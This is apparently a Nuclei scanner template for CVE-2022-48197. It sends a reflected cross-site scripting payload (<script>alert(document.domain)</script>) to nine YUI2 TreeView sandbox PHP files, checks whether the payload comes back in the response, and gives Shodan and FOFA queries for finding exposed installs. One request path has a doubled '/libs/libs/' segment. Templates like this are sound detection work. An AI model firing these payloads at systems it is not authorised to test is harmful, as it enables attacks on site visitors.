CVE-2022-48197: Yahoo User Interface library (YUI2) TreeView v2.8.2 - Cross-Site Scripting

id: CVE-2022-48197

info:
  name: Yahoo User Interface library (YUI2) TreeView v2.8.2 - Cross-Site Scripting
  author: ctflearner
  severity: medium
  description: |
    Reflected cross-site scripting (XSS) exists in the TreeView of YUI2 through 2800: up.php sam.php renderhidden.php removechildren.php removeall.php readd.php overflow.php newnode2.php newnode.php.
  impact: |
    Attackers can inject malicious JavaScript through crafted mode parameters in multiple TreeView PHP files, potentially stealing user session tokens and performing actions on behalf of victims when they access the compromised pages.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/51198
    - https://packetstormsecurity.com/files/171633/Yahoo-User-Interface-TreeView-2.8.2-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-48197
    - http://packetstormsecurity.com/files/171633/Yahoo-User-Interface-TreeView-2.8.2-Cross-Site-Scripting.html
    - https://github.com/ryan412/CVE-2022-48197/blob/main/README.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-48197
    cwe-id: CWE-79
    epss-score: 0.06608
    epss-percentile: 0.93503
    cpe: cpe:2.3:a:yui_project:yui:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 9
    vendor: yui_project
    product: yui
    shodan-query:
      - html:"bower_components/yui2/"
      - http.html:"bower_components/yui2/"
    fofa-query: body="bower_components/yui2/"
  tags: cve,cve2022,packetstorm,yui2,xss,yahoo,treeview,yui_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"
    payloads:
      paths:
        - "/libs/bower/bower_components/yui2/sandbox/treeview/up.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
        - "/libs/bower/bower_components/yui2/sandbox/treeview/sam.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
        - "/libs/bower/bower_components/yui2/sandbox/treeview/renderhidden.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
        - "/libs/bower/bower_components/yui2/sandbox/treeview/removechildren.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
        - "/libs/bower/bower_components/yui2/sandbox/treeview/removeall.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
        - "/libs/libs/bower/bower_components/yui2/sandbox/treeview/readd.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
        - "/libs/bower/bower_components/yui2/sandbox/treeview/overflow.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
        - "/libs/bower/bower_components/yui2/sandbox/treeview/newnode2.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
        - "/libs/bower/bower_components/yui2/sandbox/treeview/newnode.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "1'\"()&%<zzz><script>alert(document.domain)</script>"
          - "widget.TreeView"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022001dd552bfb31730e168abe45712965dd58051d6b09b4edf110abc9d24d9c5ea602210092106e5f6925a5933edd77295146d454d46ca7d8a6a7358af026411c425bcba3:922c64590222798bb761d5b6d8e72950

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